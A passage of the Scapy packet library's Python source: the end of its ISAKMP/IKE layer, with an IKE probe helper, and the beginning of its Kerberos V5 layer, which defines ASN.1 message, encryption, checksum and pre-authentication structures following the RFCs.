b"\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00": "RFC 3706 DPD", b"@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80": "Cisco Fragmentation", b"J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/": "RFC 3947 Negotiation of NAT-Transversal", # noqa: E501 b"\x90\xcb\x80\x91>\xbbin\x08c\x81\xb5\xecB{\x1f": "draft-ietf-ipsec-nat-t-ike-02", } class ISAKMP_payload_VendorID(ISAKMP_payload): name = "ISAKMP Vendor ID" fields_desc = ISAKMP_payload.fields_desc[:3] + [ StrLenEnumField("VendorID", b"", ISAKMP_VENDOR_IDS, length_from=lambda x: x.length - 4) ] class ISAKMP_payload_SA(ISAKMP_payload): name = "ISAKMP SA" fields_desc = ISAKMP_payload.fields_desc[:3] + [ IntEnumField("doi", 1, ISAKMP_doi), IntEnumField("situation", 1, {1: "identity"}), PacketLenField("prop", conf.raw_layer(), ISAKMP_payload_Proposal, length_from=lambda x: x.length - 12), # noqa: E501 ] class ISAKMP_payload_Nonce(ISAKMP_payload): name = "ISAKMP Nonce" deprecated_fields = {"load": ("nonce", "2.6.2")} fields_desc = ISAKMP_payload.fields_desc[:3] + [ StrLenField("nonce", "", length_from=lambda x: x.length - 4) ] class ISAKMP_payload_KE(ISAKMP_payload): name = "ISAKMP Key Exchange" deprecated_fields = {"load": ("ke", "2.6.2")} fields_desc = ISAKMP_payload.fields_desc[:3] + [ StrLenField("ke", "", length_from=lambda x: x.length - 4) ] class ISAKMP_payload_ID(ISAKMP_payload): name = "ISAKMP Identification" fields_desc = ISAKMP_payload.fields_desc[:3] + [ ByteEnumField("IDtype", 1, { # Beware, apparently in-the-wild the values used # appear to be the ones from IKEv2 (RFC4306 sect 3.5) # and not ISAKMP (RFC2408 sect A.4) 1: "IPv4_addr", 11: "Key" }), ByteEnumField("ProtoID", 0, {0: "Unused"}), ShortEnumField("Port", 0, {0: "Unused"}), MultipleTypeField( [ (IPField("IdentData", "127.0.0.1"), lambda pkt: pkt.IDtype == 1), ], StrLenField("IdentData", "", length_from=lambda x: x.length - 8), ) ] class ISAKMP_payload_Hash(ISAKMP_payload): name = "ISAKMP Hash" deprecated_fields = {"load": ("hash", "2.6.2")} fields_desc = ISAKMP_payload.fields_desc[:3] + [ StrLenField("hash", "", length_from=lambda x: x.length - 4) ] class ISAKMP_payload_SIG(ISAKMP_payload): name = "ISAKMP Signature" deprecated_fields = {"load": ("sig", "2.6.2")} fields_desc = ISAKMP_payload.fields_desc[:3] + [ StrLenField("sig", "", length_from=lambda x: x.length - 4) ] NotifyMessageType = { 1: "INVALID-PAYLOAD-TYPE", 2: "DOI-NOT-SUPPORTED", 3: "SITUATION-NOT-SUPPORTED", 4: "INVALID-COOKIE", 5: "INVALID-MAJOR-VERSION", 6: "INVALID-MINOR-VERSION", 7: "INVALID-EXCHANGE-TYPE", 8: "INVALID-FLAGS", 9: "INVALID-MESSAGE-ID", 10: "INVALID-PROTOCOL-ID", 11: "INVALID-SPI", 12: "INVALID-TRANSFORM-ID", 13: "ATTRIBUTES-NOT-SUPPORTED", 14: "NO-PROPOSAL-CHOSEN", 15: "BAD-PROPOSAL-SYNTAX", 16: "PAYLOAD-MALFORMED", 17: "INVALID-KEY-INFORMATION", 18: "INVALID-ID-INFORMATION", 19: "INVALID-CERT-ENCODING", 20: "INVALID-CERTIFICATE", 21: "CERT-TYPE-UNSUPPORTED", 22: "INVALID-CERT-AUTHORITY", 23: "INVALID-HASH-INFORMATION", 24: "AUTHENTICATION-FAILED", 25: "INVALID-SIGNATURE", 26: "ADDRESS-NOTIFICATION", 27: "NOTIFY-SA-LIFETIME", 28: "CERTIFICATE-UNAVAILABLE", 29: "UNSUPPORTED-EXCHANGE-TYPE", 30: "UNEQUAL-PAYLOAD-LENGTHS", 16384: "CONNECTED", # RFC 3706 36136: "R-U-THERE", 36137: "R-U-THERE-ACK", } class ISAKMP_payload_Notify(ISAKMP_payload): name = "ISAKMP Notify (Notification)" fields_desc = ISAKMP_payload.fields_desc[:3] + [ IntEnumField("doi", 0, ISAKMP_doi), ByteEnumField("proto", 1, ISAKMP_protos), FieldLenField("SPIsize", None, "SPI", "B"), ShortEnumField("notify_msg_type", None, NotifyMessageType), StrLenField("SPI", "", length_from=lambda x: x.SPIsize), StrLenField("notify_data", "", length_from=lambda x: x.length - x.SPIsize - 12) ] class ISAKMP_payload_Delete(ISAKMP_payload): name = "ISAKMP Delete" fields_desc = ISAKMP_payload.fields_desc[:3] + [ IntEnumField("doi", 0, ISAKMP_doi), ByteEnumField("proto", 1, ISAKMP_protos), FieldLenField("SPIsize", None, length_of="SPIs", fmt="B", adjust=lambda pkt, x: x and x // len(pkt.SPIs)), FieldLenField("SPIcount", None, count_of="SPIs", fmt="H"), FieldListField("SPIs", [], StrLenField("", "", length_from=lambda pkt: pkt.SPIsize), count_from=lambda pkt: pkt.SPIcount), ] bind_bottom_up(UDP, ISAKMP, dport=500) bind_bottom_up(UDP, ISAKMP, sport=500) bind_top_down(UDP, ISAKMP, dport=500, sport=500) bind_bottom_up(NON_ESP, ISAKMP) # Add bindings bind_top_down(_ISAKMP_class, ISAKMP_payload, next_payload=0) bind_layers(_ISAKMP_class, ISAKMP_payload_SA, next_payload=1) bind_layers(_ISAKMP_class, ISAKMP_payload_Proposal, next_payload=2) bind_layers(_ISAKMP_class, ISAKMP_payload_Transform, next_payload=3) bind_layers(_ISAKMP_class, ISAKMP_payload_KE, next_payload=4) bind_layers(_ISAKMP_class, ISAKMP_payload_ID, next_payload=5) # bind_layers(_ISAKMP_class, ISAKMP_payload_CERT, next_payload=6) # bind_layers(_ISAKMP_class, ISAKMP_payload_CR, next_payload=7) bind_layers(_ISAKMP_class, ISAKMP_payload_Hash, next_payload=8) bind_layers(_ISAKMP_class, ISAKMP_payload_SIG, next_payload=9) bind_layers(_ISAKMP_class, ISAKMP_payload_Nonce, next_payload=10) bind_layers(_ISAKMP_class, ISAKMP_payload_Notify, next_payload=11) bind_layers(_ISAKMP_class, ISAKMP_payload_Delete, next_payload=12) bind_layers(_ISAKMP_class, ISAKMP_payload_VendorID, next_payload=13) def ikescan(ip): """Sends/receives a ISAMPK payload SA with payload proposal""" pkt = IP(dst=ip) pkt /= UDP() pkt /= ISAKMP(init_cookie=RandString(8), exch_type=2) pkt /= ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) return sr(pkt) ================================================ FILE: scapy/layers/kerberos.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter r""" Kerberos V5 Implements parts of: - Kerberos Network Authentication Service (V5): RFC4120 - Kerberos Version 5 GSS-API: RFC1964, RFC4121 - Kerberos Pre-Authentication: RFC6113 (FAST) - Kerberos Principal Name Canonicalization and Cross-Realm Referrals: RFC6806 - Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols: RFC3244 - PKINIT and its extensions: RFC4556, RFC8070, RFC8636 and [MS-PKCA] - User to User Kerberos Authentication: draft-ietf-cat-user2user-03 - Public Key Cryptography Based User-to-User Authentication (PKU2U): draft-zhu-pku2u-09 - Initial and Pass Through Authentication Using Kerberos V5 (IAKERB): draft-ietf-kitten-iakerb-03 - Kerberos Protocol Extensions: [MS-KILE] - Kerberos Protocol Extensions: Service for User: [MS-SFU] - Kerberos Key Distribution Center Proxy Protocol: [MS-KKDCP] .. note:: You will find more complete documentation for this layer over at `Kerberos `_ Example decryption:: >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> pkt = Ether(hex_bytes("525400695813525400216c2b08004500015da71840008006dc\ 83c0a87a9cc0a87a11c209005854f6ab2392c25bd650182014b6e00000000001316a8201\ 2d30820129a103020105a20302010aa3633061304ca103020102a24504433041a0030201\ 12a23a043848484decb01c9b62a1cabfbc3f2d1ed85aa5e093ba8358a8cea34d4393af93\ bf211e274fa58e814878db9f0d7a28d94e7327660db4f3704b3011a10402020080a20904\ 073005a0030101ffa481b73081b4a00703050040810010a1123010a003020101a1093007\ 1b0577696e3124a20e1b0c444f4d41494e2e4c4f43414ca321301fa003020102a1183016\ 1b066b72627467741b0c444f4d41494e2e4c4f43414ca511180f32303337303931333032\ 343830355aa611180f32303337303931333032343830355aa7060204701cc5d1a8153013\ 0201120201110201170201180202ff79020103a91d301b3019a003020114a11204105749\ 4e31202020202020202020202020")) >>> enc = pkt[Kerberos].root.padata[0].padataValue >>> k = Key(enc.etype.val, key=hex_bytes("7fada4e566ae4fb270e2800a23a\ e87127a819d42e69b5e22de0ddc63da80096d")) >>> enc.decrypt(k) """ from collections import namedtuple, deque from datetime import datetime, timedelta, timezone from enum import IntEnum import os import re import socket import struct from scapy.error import warning import scapy.asn1.mib # noqa: F401 from scapy.asn1.ber import BER_id_dec, BER_Decoding_Error from scapy.asn1.asn1 import ( ASN1_BIT_STRING, ASN1_BOOLEAN, ASN1_Class, ASN1_Codecs, ASN1_GENERAL_STRING, ASN1_GENERALIZED_TIME, ASN1_INTEGER, ASN1_OID, ASN1_STRING, ) from scapy.asn1fields import ( ASN1F_BIT_STRING_ENCAPS, ASN1F_BOOLEAN, ASN1F_CHOICE, ASN1F_enum_INTEGER, ASN1F_FLAGS, ASN1F_GENERAL_STRING, ASN1F_GENERALIZED_TIME, ASN1F_INTEGER, ASN1F_OID, ASN1F_optional, ASN1F_PACKET, ASN1F_SEQUENCE_OF, ASN1F_SEQUENCE, ASN1F_STRING_ENCAPS, ASN1F_STRING_PacketField, ASN1F_STRING, ) from scapy.asn1packet import ASN1_Packet from scapy.automaton import Automaton, ATMT from scapy.config import conf from scapy.compat import bytes_encode from scapy.error import log_runtime from scapy.fields import ( ConditionalField, FieldLenField, FlagsField, IntEnumField, LEIntEnumField, LenField, LEShortEnumField, LEShortField, LongField, MayEnd, MultipleTypeField, PacketField, PacketLenField, PacketListField, PadField, ShortEnumField, ShortField, StrField, StrFieldUtf16, StrFixedLenEnumField, XByteField, XLEIntEnumField, XLEIntField, XLEShortField, XStrField, XStrFixedLenField, XStrLenField, ) from scapy.packet import Packet, bind_bottom_up, bind_top_down, bind_layers from scapy.supersocket import StreamSocket, SuperSocket from scapy.utils import strrot, strxor from scapy.volatile import GeneralizedTime, RandNum, RandBin from scapy.layers.gssapi import ( _GSSAPI_OIDS, _GSSAPI_SIGNATURE_OIDS, GSS_C_FLAGS, GSS_C_NO_CHANNEL_BINDINGS, GSS_QOP_REQ_FLAGS, GSS_S_BAD_BINDINGS, GSS_S_BAD_MECH, GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSS_S_DEFECTIVE_CREDENTIAL, GSS_S_DEFECTIVE_TOKEN, GSS_S_FAILURE, GSS_S_FLAGS, GSSAPI_BLOB, GssChannelBindings, SSP, ) from scapy.layers.inet import TCP, UDP from scapy.layers.smb import _NV_VERSION from scapy.layers.tls.cert import ( Cert, CertList, CertTree, CMS_Engine, PrivKey, ) from scapy.layers.tls.crypto.hash import ( Hash_SHA, Hash_SHA256, Hash_SHA384, Hash_SHA512, ) from scapy.layers.tls.crypto.groups import _ffdh_groups from scapy.layers.windows.erref import STATUS_ERREF from scapy.layers.x509 import ( _CMS_ENCAPSULATED, CMS_ContentInfo, CMS_IssuerAndSerialNumber, DHPublicKey, X509_AlgorithmIdentifier, X509_DirectoryName, X509_SubjectPublicKeyInfo, DomainParameters, ) # Redirect exports from RFC3961 try: from scapy.libs.rfc3961 import * # noqa: F401,F403 from scapy.libs.rfc3961 import ( _rfc1964pad, ChecksumType, Cipher, decrepit_algorithms, EncryptionType, Hmac_MD5, Key, KRB_FX_CF2, octetstring2key, ) except ImportError: pass # Crypto imports if conf.crypto_valid: from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.primitives.asymmetric import dh # Typing imports from typing import ( List, Optional, Union, ) # kerberos APPLICATION class ASN1_Class_KRB(ASN1_Class): name = "Kerberos" # APPLICATION + CONSTRUCTED = 0x40 | 0x20 Token = 0x60 | 0 # GSSAPI Ticket = 0x60 | 1 Authenticator = 0x60 | 2 EncTicketPart = 0x60 | 3 AS_REQ = 0x60 | 10 AS_REP = 0x60 | 11 TGS_REQ = 0x60 | 12 TGS_REP = 0x60 | 13 AP_REQ = 0x60 | 14 AP_REP = 0x60 | 15 PRIV = 0x60 | 21 CRED = 0x60 | 22 EncASRepPart = 0x60 | 25 EncTGSRepPart = 0x60 | 26 EncAPRepPart = 0x60 | 27 EncKrbPrivPart = 0x60 | 28 EncKrbCredPart = 0x60 | 29 ERROR = 0x60 | 30 # RFC4120 sect 5.2 KerberosString = ASN1F_GENERAL_STRING Realm = KerberosString Int32 = ASN1F_INTEGER UInt32 = ASN1F_INTEGER _PRINCIPAL_NAME_TYPES = { 0: "NT-UNKNOWN", 1: "NT-PRINCIPAL", 2: "NT-SRV-INST", 3: "NT-SRV-HST", 4: "NT-SRV-XHST", 5: "NT-UID", 6: "NT-X500-PRINCIPAL", 7: "NT-SMTP-NAME", 10: "NT-ENTERPRISE", } class PrincipalName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "nameType", 0, _PRINCIPAL_NAME_TYPES, explicit_tag=0xA0, ), ASN1F_SEQUENCE_OF("nameString", [], KerberosString, explicit_tag=0xA1), ) def toString(self): """ Convert a PrincipalName back into its string representation. """ return "/".join(x.val.decode() for x in self.nameString) @staticmethod def fromUPN(upn: str): """ Create a PrincipalName from a UPN string. """ user, _ = _parse_upn(upn) return PrincipalName( nameString=[ASN1_GENERAL_STRING(user)], nameType=ASN1_INTEGER(1), # NT-PRINCIPAL ) @staticmethod def fromSPN(spn: str): """ Create a PrincipalName from a SPN string. """ spn, _ = _parse_spn(spn) if spn.startswith("krbtgt"): return PrincipalName( nameString=[ASN1_GENERAL_STRING(x) for x in spn.split("/")], nameType=ASN1_INTEGER(2), # NT-SRV-INST ) elif "/" in spn: return PrincipalName( nameString=[ASN1_GENERAL_STRING(x) for x in spn.split("/")], nameType=ASN1_INTEGER(3), # NT-SRV-HST ) else: # In case of U2U return PrincipalName( nameString=[ASN1_GENERAL_STRING(spn)], nameType=ASN1_INTEGER(1), # NT-PRINCIPAL ) KerberosTime = ASN1F_GENERALIZED_TIME Microseconds = ASN1F_INTEGER # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-1 _KRB_E_TYPES = { 1: "DES-CBC-CRC", 2: "DES-CBC-MD4", 3: "DES-CBC-MD5", 5: "DES3-CBC-MD5", 7: "DES3-CBC-SHA1", 9: "DSAWITHSHA1-CMSOID", 10: "MD5WITHRSAENCRYPTION-CMSOID", 11: "SHA1WITHRSAENCRYPTION-CMSOID", 12: "RC2CBC-ENVOID", 13: "RSAENCRYPTION-ENVOID", 14: "RSAES-OAEP-ENV-OID", 15: "DES-EDE3-CBC-ENV-OID", 16: "DES3-CBC-SHA1-KD", 17: "AES128-CTS-HMAC-SHA1-96", 18: "AES256-CTS-HMAC-SHA1-96", 19: "AES128-CTS-HMAC-SHA256-128", 20: "AES256-CTS-HMAC-SHA384-192", 23: "RC4-HMAC", 24: "RC4-HMAC-EXP", 25: "CAMELLIA128-CTS-CMAC", 26: "CAMELLIA256-CTS-CMAC", } # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-2 _KRB_S_TYPES = { 1: "CRC32", 2: "RSA-MD4", 3: "RSA-MD4-DES", 4: "DES-MAC", 5: "DES-MAC-K", 6: "RSA-MD4-DES-K", 7: "RSA-MD5", 8: "RSA-MD5-DES", 9: "RSA-MD5-DES3", 10: "SHA1", 12: "HMAC-SHA1-DES3-KD", 13: "HMAC-SHA1-DES3", 14: "SHA1", 15: "HMAC-SHA1-96-AES128", 16: "HMAC-SHA1-96-AES256", 17: "CMAC-CAMELLIA128", 18: "CMAC-CAMELLIA256", 19: "HMAC-SHA256-128-AES128", 20: "HMAC-SHA384-192-AES256", # RFC 4121 0x8003: "KRB-AUTHENTICATOR", # [MS-KILE] 0xFFFFFF76: "MD5", -138: "MD5", } class EncryptedData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("etype", 0x17, _KRB_E_TYPES, explicit_tag=0xA0), ASN1F_optional(UInt32("kvno", None, explicit_tag=0xA1)), ASN1F_STRING("cipher", "", explicit_tag=0xA2), ) def get_usage(self): """ Get current key usage number and encrypted class """ # RFC 4120 sect 7.5.1 if self.underlayer: if isinstance(self.underlayer, PADATA): patype = self.underlayer.padataType if patype == 2: # AS-REQ PA-ENC-TIMESTAMP padata timestamp return 1, PA_ENC_TS_ENC elif patype == 138: # RFC6113 PA-ENC-TS-ENC return 54, PA_ENC_TS_ENC elif isinstance(self.underlayer, KRB_Ticket): # AS-REP Ticket and TGS-REP Ticket return 2, EncTicketPart elif isinstance(self.underlayer, KRB_AS_REP): # AS-REP encrypted part return 3, EncASRepPart elif isinstance(self.underlayer, KRB_KDC_REQ_BODY): # KDC-REQ enc-authorization-data return 4, AuthorizationData elif isinstance(self.underlayer, KRB_AP_REQ) and isinstance( self.underlayer.underlayer, PADATA ): # TGS-REQ PA-TGS-REQ Authenticator return 7, KRB_Authenticator elif isinstance(self.underlayer, KRB_TGS_REP): # TGS-REP encrypted part return 8, EncTGSRepPart elif isinstance(self.underlayer, KRB_AP_REQ): # AP-REQ Authenticator return 11, KRB_Authenticator elif isinstance(self.underlayer, KRB_AP_REP): # AP-REP encrypted part return 12, EncAPRepPart elif isinstance(self.underlayer, KRB_PRIV): # KRB-PRIV encrypted part return 13, EncKrbPrivPart elif isinstance(self.underlayer, KRB_CRED): # KRB-CRED encrypted part return 14, EncKrbCredPart elif isinstance(self.underlayer, KrbFastArmoredReq): # KEY_USAGE_FAST_ENC return 51, KrbFastReq elif isinstance(self.underlayer, KrbFastArmoredRep): # KEY_USAGE_FAST_REP return 52, KrbFastResponse raise ValueError( "Could not guess key usage number. Please specify key_usage_number" ) def decrypt(self, key, key_usage_number=None, cls=None): """ Decrypt and return the data contained in cipher. :param key: the key to use for decryption :param key_usage_number: (optional) specify the key usage number. Guessed otherwise :param cls: (optional) the class of the decrypted payload Guessed otherwise (or bytes) """ if key_usage_number is None: key_usage_number, cls = self.get_usage() d = key.decrypt(key_usage_number, self.cipher.val) if cls: try: return cls(d) except BER_Decoding_Error: if cls == EncASRepPart: # https://datatracker.ietf.org/doc/html/rfc4120#section-5.4.2 # "Compatibility note: Some implementations unconditionally send an # encrypted EncTGSRepPart (application tag number 26) in this field # regardless of whether the reply is a AS-REP or a TGS-REP. In the # interest of compatibility, implementors MAY relax the check on the # tag number of the decrypted ENC-PART." try: res = EncTGSRepPart(d) # https://github.com/krb5/krb5/blob/48ccd81656381522d1f9ccb8705c13f0266a46ab/src/lib/krb5/asn.1/asn1_k_encode.c#L1128 # This is a bug because as the RFC clearly says above, we're # perfectly in our right to be strict on this. (MAY) log_runtime.warning( "Implementation bug detected. This looks like MIT Kerberos." ) return res except BER_Decoding_Error: pass raise return d def encrypt(self, key, text, confounder=None, key_usage_number=None): """ Encrypt text and set it into cipher. :param key: the key to use for encryption :param text: the bytes value to encode :param confounder: (optional) specify the confounder bytes. Random otherwise :param key_usage_number: (optional) specify the key usage number. Guessed otherwise """ if key_usage_number is None: key_usage_number = self.get_usage()[0] self.etype = key.etype self.cipher = ASN1_STRING( key.encrypt(key_usage_number, text, confounder=confounder) ) class EncryptionKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("keytype", 0, _KRB_E_TYPES, explicit_tag=0xA0), ASN1F_STRING("keyvalue", "", explicit_tag=0xA1), ) def toKey(self): return Key( etype=self.keytype.val, key=self.keyvalue.val, ) @classmethod def fromKey(self, key): return EncryptionKey( keytype=key.etype, keyvalue=key.key, ) class _Checksum_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_Checksum_Field, self).m2i(pkt, s) if not val[0].val: return val if pkt.cksumtype.val == 0x8003: # Special case per RFC 4121 return KRB_AuthenticatorChecksum(val[0].val, _underlayer=pkt), val[1] return val class Checksum(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "cksumtype", 0, _KRB_S_TYPES, explicit_tag=0xA0, ), _Checksum_Field("checksum", "", explicit_tag=0xA1), ) def get_usage(self): """ Get current key usage number """ # RFC 4120 sect 7.5.1 if self.underlayer: if isinstance(self.underlayer, KRB_Authenticator): # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator cksum # (n°10 should never happen as we use RFC4121) return 6 elif isinstance(self.underlayer, PA_FOR_USER): # [MS-SFU] sect 2.2.1 return 17 elif isinstance(self.underlayer, PA_S4U_X509_USER): # [MS-SFU] sect 2.2.2 return 26 elif isinstance(self.underlayer, AD_KDCIssued): # AD-KDC-ISSUED checksum return 19 elif isinstance(self.underlayer, KrbFastArmoredReq): # KEY_USAGE_FAST_REQ_CHKSUM return 50 elif isinstance(self.underlayer, KrbFastFinished): # KEY_USAGE_FAST_FINISHED return 53 raise ValueError( "Could not guess key usage number. Please specify key_usage_number" ) def verify(self, key, text, key_usage_number=None): """ Verify a signature of text using a key. :param key: the key to use to check the checksum :param text: the bytes to verify :param key_usage_number: (optional) specify the key usage number. Guessed otherwise """ if key_usage_number is None: key_usage_number = self.get_usage() key.verify_checksum(key_usage_number, text, self.checksum.val) def make(self, key, text, key_usage_number=None, cksumtype=None): """ Make a signature. :param key: the key to use to make the checksum :param text: the bytes to make a checksum of :param key_usage_number: (optional) specify the key usage number. Guessed otherwise """ if key_usage_number is None: key_usage_number = self.get_usage() self.cksumtype = cksumtype or key.cksumtype self.checksum = ASN1_STRING( key.make_checksum( keyusage=key_usage_number, text=text, cksumtype=self.cksumtype, ) ) KerberosFlags = ASN1F_FLAGS _ADDR_TYPES = { # RFC4120 sect 7.5.3 0x02: "IPv4", 0x03: "Directional", 0x05: "ChaosNet", 0x06: "XNS", 0x07: "ISO", 0x0C: "DECNET Phase IV", 0x10: "AppleTalk DDP", 0x14: "NetBios", 0x18: "IPv6", } class HostAddress(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "addrType", 0, _ADDR_TYPES, explicit_tag=0xA0, ), ASN1F_STRING("address", "", explicit_tag=0xA1), ) HostAddresses = lambda name, **kwargs: ASN1F_SEQUENCE_OF( name, [], HostAddress, **kwargs ) _AUTHORIZATIONDATA_VALUES = { # Filled below } class _AuthorizationData_value_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_AuthorizationData_value_Field, self).m2i(pkt, s) if not val[0].val: return val if pkt.adType.val in _AUTHORIZATIONDATA_VALUES: return ( _AUTHORIZATIONDATA_VALUES[pkt.adType.val](val[0].val, _underlayer=pkt), val[1], ) return val _AD_TYPES = { # RFC4120 sect 7.5.4 1: "AD-IF-RELEVANT", 2: "AD-INTENDED-FOR-SERVER", 3: "AD-INTENDED-FOR-APPLICATION-CLASS", 4: "AD-KDC-ISSUED", 5: "AD-AND-OR", 6: "AD-MANDATORY-TICKET-EXTENSIONS", 7: "AD-IN-TICKET-EXTENSIONS", 8: "AD-MANDATORY-FOR-KDC", 64: "OSF-DCE", 65: "SESAME", 66: "AD-OSD-DCE-PKI-CERTID", 128: "AD-WIN2K-PAC", 129: "AD-ETYPE-NEGOTIATION", # [MS-KILE] additions 141: "KERB-AUTH-DATA-TOKEN-RESTRICTIONS", 142: "KERB-LOCAL", 143: "AD-AUTH-DATA-AP-OPTIONS", 144: "KERB-AUTH-DATA-CLIENT-TARGET", } class AuthorizationDataItem(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "adType", 0, _AD_TYPES, explicit_tag=0xA0, ), _AuthorizationData_value_Field("adData", "", explicit_tag=0xA1), ) class AuthorizationData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF( "seq", [AuthorizationDataItem()], AuthorizationDataItem ) def getAuthData(self, adType): return next((x.adData for x in self.seq if x.adType == adType), None) AD_IF_RELEVANT = AuthorizationData _AUTHORIZATIONDATA_VALUES[1] = AD_IF_RELEVANT class AD_KDCIssued(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("adChecksum", Checksum(), Checksum, explicit_tag=0xA0), ASN1F_optional( Realm("iRealm", "", explicit_tag=0xA1), ), ASN1F_optional(ASN1F_PACKET("iSname", None, PrincipalName, explicit_tag=0xA2)), ASN1F_PACKET("elements", None, AuthorizationData, explicit_tag=0xA3), ) _AUTHORIZATIONDATA_VALUES[4] = AD_KDCIssued class AD_AND_OR(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( Int32("conditionCount", 0, explicit_tag=0xA0), ASN1F_PACKET("elements", None, AuthorizationData, explicit_tag=0xA1), ) _AUTHORIZATIONDATA_VALUES[5] = AD_AND_OR ADMANDATORYFORKDC = AuthorizationData _AUTHORIZATIONDATA_VALUES[8] = ADMANDATORYFORKDC # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xml _PADATA_TYPES = { 1: "PA-TGS-REQ", 2: "PA-ENC-TIMESTAMP", 3: "PA-PW-SALT", 11: "PA-ETYPE-INFO", 14: "PA-PK-AS-REQ-OLD", 15: "PA-PK-AS-REP-OLD", 16: "PA-PK-AS-REQ", 17: "PA-PK-AS-REP", 19: "PA-ETYPE-INFO2", 20: "PA-SVR-REFERRAL-INFO", 111: "TD-CMS-DIGEST-ALGORITHMS", 128: "PA-PAC-REQUEST", 129: "PA-FOR-USER", 130: "PA-FOR-X509-USER", 131: "PA-FOR-CHECK_DUPS", 132: "PA-AS-CHECKSUM", 133: "PA-FX-COOKIE", 134: "PA-AUTHENTICATION-SET", 135: "PA-AUTH-SET-SELECTED", 136: "PA-FX-FAST", 137: "PA-FX-ERROR", 138: "PA-ENCRYPTED-CHALLENGE", 141: "PA-OTP-CHALLENGE", 142: "PA-OTP-REQUEST", 143: "PA-OTP-CONFIRM", 144: "PA-OTP-PIN-CHANGE", 145: "PA-EPAK-AS-REQ", 146: "PA-EPAK-AS-REP", 147: "PA-PKINIT-KX", 148: "PA-PKU2U-NAME", 149: "PA-REQ-ENC-PA-REP", 150: "PA-AS-FRESHNESS", 151: "PA-SPAKE", 161: "KERB-KEY-LIST-REQ", 162: "KERB-KEY-LIST-REP", 165: "PA-SUPPORTED-ENCTYPES", 166: "PA-EXTENDED-ERROR", 167: "PA-PAC-OPTIONS", 170: "KERB-SUPERSEDED-BY-USER", 171: "KERB-DMSA-KEY-PACKAGE", } _PADATA_CLASSES = { # Filled elsewhere in this file } # RFC4120 class _PADATA_value_Field(ASN1F_STRING_PacketField): """ A special field that properly dispatches PA-DATA values according to padata-type and if the paquet is a request or a response. """ def m2i(self, pkt, s): val = super(_PADATA_value_Field, self).m2i(pkt, s) if pkt.padataType.val in _PADATA_CLASSES: cls = _PADATA_CLASSES[pkt.padataType.val] if isinstance(cls, tuple): parent = pkt.underlayer or pkt.parent is_reply = False if parent is not None: if isinstance(parent, (KRB_AS_REP, KRB_TGS_REP)): is_reply = True else: parent = parent.underlayer or parent.parent is_reply = isinstance(parent, KRB_ERROR) cls = cls[is_reply] if not val[0].val: return val return cls(val[0].val, _underlayer=pkt), val[1] return val class PADATA(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("padataType", 0, _PADATA_TYPES, explicit_tag=0xA1), _PADATA_value_Field( "padataValue", "", explicit_tag=0xA2, ), ) # RFC 4120 sect 5.2.7.2 class PA_ENC_TS_ENC(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KerberosTime("patimestamp", GeneralizedTime(), explicit_tag=0xA0), ASN1F_optional(Microseconds("pausec", 0, explicit_tag=0xA1)), ) _PADATA_CLASSES[2] = EncryptedData # PA-ENC-TIMESTAMP _PADATA_CLASSES[138] = EncryptedData # PA-ENCRYPTED-CHALLENGE # RFC 4120 sect 5.2.7.4 class ETYPE_INFO_ENTRY(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("etype", 0x1, _KRB_E_TYPES, explicit_tag=0xA0), ASN1F_optional( ASN1F_STRING("salt", "", explicit_tag=0xA1), ), ) class ETYPE_INFO(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("seq", [ETYPE_INFO_ENTRY()], ETYPE_INFO_ENTRY) _PADATA_CLASSES[11] = ETYPE_INFO # RFC 4120 sect 5.2.7.5 class ETYPE_INFO_ENTRY2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("etype", 0x1, _KRB_E_TYPES, explicit_tag=0xA0), ASN1F_optional( KerberosString("salt", "", explicit_tag=0xA1), ), ASN1F_optional( ASN1F_STRING("s2kparams", "", explicit_tag=0xA2), ), ) class ETYPE_INFO2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("seq", [ETYPE_INFO_ENTRY2()], ETYPE_INFO_ENTRY2) _PADATA_CLASSES[19] = ETYPE_INFO2 # RFC8636 - PKINIT Algorithm Agility class 